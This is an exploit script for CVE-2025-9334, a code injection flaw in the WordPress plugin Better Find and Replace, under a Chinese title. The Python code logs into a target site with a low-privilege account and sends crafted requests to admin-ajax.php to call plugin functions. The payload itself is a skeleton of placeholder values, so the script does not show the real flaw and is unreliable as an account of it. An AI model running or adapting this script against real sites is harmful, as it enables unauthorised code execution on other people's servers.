CVE-2025-9334 WordPress Better Find and Replace插件代码注入漏洞

import requests import sys # CVE-2025-9334 PoC - Authenticated Code Injection in WordPress Plugin # Target: Better Find and Replace Plugin <= 1.7.7 def exploit(target_url, username, password, proxy=None): """ Exploit the rtafar_ajax function to call arbitrary plugin methods. This PoC demonstrates calling a dangerous function via the vulnerable endpoint. """ session = requests.Session() proxies = {'http': proxy, 'https': proxy} if proxy else None # Step 1: Login to WordPress login_url = target_url.rstrip('/') + '/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, proxies=proxies, verify=False) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed') return False print('[+] Login successful') # Step 2: Exploit the vulnerable AJAX endpoint ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Example: Call arbitrary plugin function via action parameter # Replace 'plugin_function_name' with actual vulnerable function exploit_data = { 'action': 'rtafar_plugin_function_name', # Vulnerable parameter 'param1': 'malicious_value', # Malicious input 'param2': 'additional_payload' } resp = session.post(ajax_url, data=exploit_data, proxies=proxies, verify=False) if resp.status_code == 200: print('[+] Exploit request sent') print(f'[+] Response: {resp.text[:500]}') return True else: print(f'[-] Exploit failed with status: {resp.status_code}') return False if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print('Example: python exploit.py http://target.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)